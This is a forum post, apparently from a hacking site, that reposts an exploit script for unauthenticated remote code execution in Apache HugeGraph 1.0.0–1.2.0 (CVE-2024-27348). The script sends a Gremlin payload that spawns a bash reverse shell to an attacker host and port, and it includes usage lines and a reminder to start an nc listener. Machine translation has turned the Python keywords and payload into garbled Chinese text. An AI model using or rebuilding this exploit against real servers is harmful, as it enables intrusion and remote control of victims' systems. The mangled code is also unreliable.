H

apache gumatgraph服务器1.2.0-远程代码执行(RCE)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用title: Apache巨大图1.2.0远程代码执行(未经身份验证)
#利用作者: Yesith Alvarez
#供应商homepage: https://hugegraph.apache.org/docs/download/download/
#版本: APACHE MAGEGRAPH 1.0.0-1.2.0
#CVE : CVE-2024–27348
从请求导入请求,会话
导入系统
进口JSON
def title():
打印(''''
____________ _____ _____ _____ ______ ______ ______ ___________
/_ \ \ \//__ | | _ \/_ \ __ \ | || | __ \ _ /| || || (_)
| | \ \//| _ | _____ )| | | | | | ___ ___)|//| _ \ | || | / \
| | _ \ v/| | ______//| | _ |//| _ _ | ____/////_)| __ _ | (_)|
\ __ | \ /| ___ | | ______ | \ /__ | | _____/| _____/| __/| __ | \ __/
[+]反向外壳
作者: Yesith Alvarez
github: https://github.com/yealvarez
LinkedIn: https://www.linkedin.com/in/pentester-ethicalhacker/
代码改进: https://github.com/yealvarez/cve/blob/main/cve-2024-27348/exploit.py
''))
DEF漏洞利用(URL,LHOST,LPORT):
有效载荷={'gremlin':'线程线程=thread.currentthread(); class clz=class.forname(\'java.lang.thread \'); \'vicarius \'); class processBuilderClass=class.forname(\'java.lang.processbuilder \'); java.util.arrays.aslist(\'bash \',\' - c \',\ \'bash -i/dev/dev/dev/dev/d+lhost+'+'/'+lport+'+'\'\',\ '01 \'\ '01 \'\'\'\'\'); ProcessBuilderClass.getMethod(\'start \'); startMethod.Invoke(ProcessBuilderInstance);','bindings': {},'language':'gremlin-gremlin-groovy'
标题={
'content-type':'应用程序/json'}
s=session()
url=url +'/gremlin'
req=request('post',url,json=有效载荷,标头=标题)
准备=req.prepare()
del prepped.headers ['content-type']
resp=s.send(准备,
验证=false,
超时=15)
打印(预处理。
打印(URL)
印刷(指数)
打印(有效载荷)
打印(resp.status_code)
打印(resp.text)
如果name=='__ -Main __':
标题()
如果(len(sys.argv)4):
print('[+]用法: python3%s https://Target_url lhost lhost lport \ n'%(sys.argv [0]))
打印('[+]用法: Python3%S https://192.168.0.0.10 192.168.0.2 4444 \ n'%(sys.argv [0]))
打印('[+]不要忘记运行侦听器: NC -LVP 4444 \ n')
出口(0)
其他:
exploit(sys.argv [1],sys.argv [2],sys.argv [3])
 
后退
顶部